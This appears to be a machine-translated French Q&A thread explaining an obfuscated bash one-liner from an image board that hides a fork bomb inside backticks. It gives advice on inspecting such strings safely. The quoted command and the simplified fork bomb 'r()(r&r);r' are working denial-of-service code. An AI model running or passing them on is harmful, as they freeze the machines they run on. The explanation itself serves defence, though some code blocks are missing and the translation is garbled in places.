Trouvé sur un tableau de chant aléatoire:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
En quelque sorte, cela aboutit à un processus de frai infini qui se généralise et bloque la machine. Je vois quelque chose à propos de "su" qui tente d'être exécuté à plusieurs reprises.
..qui est étrange, car je m'attendais simplement à ce que du texte soit généré, pas à l'exécution de quoi que ce soit.
L'exécution de ce texte via un décodeur en ligne me donne simplement un lot de données binaires:
Que fait réellement ce gâchis de texte et y a-t-il un moyen de le voir "en toute sécurité"?
Réponses:
Tout d’abord, regardons l’ensemble de la commande:
Il contient une chaîne entre guillemets qui est répercutée
uudecode
. Notez cependant que la chaîne entre guillemets contient une chaîne entre guillemets . Cette chaîne est exécutée . La chaîne est:Si nous regardons ce qu'il y a dedans, nous voyons trois commandes:
Effectuer une expansion du support sur la commande du milieu, nous avons:
La première ligne tente d'exécuter une commande absurde en arrière-plan. Ceci est sans importance.
La deuxième ligne est importante: elle définit une fonction
r
qui, une fois lancée, lance deux copies de elle-même. Bien entendu, chacun de ces exemplaires en lancerait deux autres. Etc.La troisième ligne est lancée
r
et démarre à la bombe.Le reste du code, en dehors de la chaîne citée en arrière, est tout simplement absurde pour l'obscurcissement.
Comment exécuter la commande en toute sécurité
Ce code peut être exécuté en toute sécurité si nous fixons une limite au niveau d'imbrication des fonctions. Cela peut être fait avec la
FUNCNEST
variable de bash . Ici, nous le configurons2
et cela arrête la récursivité:Les messages d'erreur ci - dessus montrent que (a) les commandes de non - sens
rYWdl
etY29j
ne sont pas trouvés, (b) la bombe fourche se fait à plusieurs reprises arrêté par FUNCNEST, et (c) la sortieecho
ne commence pas parbegin
et, par conséquent, ne sont pas entrées valide pouruudecode
.La fourche bombe dans sa forme la plus simple
À quoi ressemblerait la bombe à fourche si on enlevait l'obscurcissement? Comme le suggèrent njzk2 et gerrit, cela ressemblerait à ceci:
Nous pouvons simplifier encore plus:
Cela consiste en deux déclarations: l'une définit la fonction fork-bomb
r
et la seconde fonctionner
.Tous les autres codes, y compris le pipe to
uudecode
, étaient là uniquement pour obscurcir et détourner.La forme originale avait encore une autre couche d'erreur
Le PO a fourni un lien vers la discussion du conseil de la chaîne sur laquelle ce code est apparu. Tel que présenté ici, le code ressemblait à:
Notez l'un des premiers commentaires sur ce code:
Sous la forme sur le tableau de bord, on pourrait penser naïvement que le problème serait la
eval
déclaration opérant sur la sortie deuudecode
. Cela laisserait penser queeval
le fait de le résoudre résoudrait le problème. Comme nous l'avons vu plus haut, c'est faux et dangereusement.la source
uudecode
n'a aucune pertinence ici. Pendant un moment, je pensaisuudecode
effectuer une interpolation de chaîne à l'envers, ce qui la rendrait fondamentalement dangereuse, mais la bombe a lieu avant qu'uudecode ne commence.&
là - bas:echo "`r()(r&r);r`"
.Pour répondre à la deuxième partie de votre question:
Pour désamorcer cette chaîne, remplacez les guillemets externes par des guillemets simples et échappez-les aux guillemets simples présents dans la chaîne. De cette façon, le shell n'exécutera aucun code et vous passerez tout directement à
uudecode
:D'autres alternatives sont notées dans les commentaires:
kasperd a suggéré :
Jacob Krall a suggéré d'utiliser un éditeur de texte, de coller le contenu, puis de transférer ce fichier à uudecode.
la source
uudecode
sur la ligne de commande. Appuyez sur Entrée. Copiez-collez la chaîne à décoder.uudecode
.echo "foo`die`bar'`die`'baz"
première! C'est-à-dire que s'il contient des'
lettres, remplacer les guillemets par des guillemets simples ne sera pas suffisant.À première vue, vous pourriez penser que la sortie dans le shell ne sera jamais exécutée . C'est toujours vrai . Le problème est déjà dans l' entrée . L'astuce principale ici est ce que les programmeurs appellent la priorité des opérateurs . Voici l'ordre dans lequel le shell tente de traiter votre entrée:
L'erreur est de penser que ce
echo
serait la première commande à exécuter,uudecode
la seconde. Les deux ne seront jamais atteints.Conclusion: les doubles guillemets sont toujours dangereux sur la coque.
la source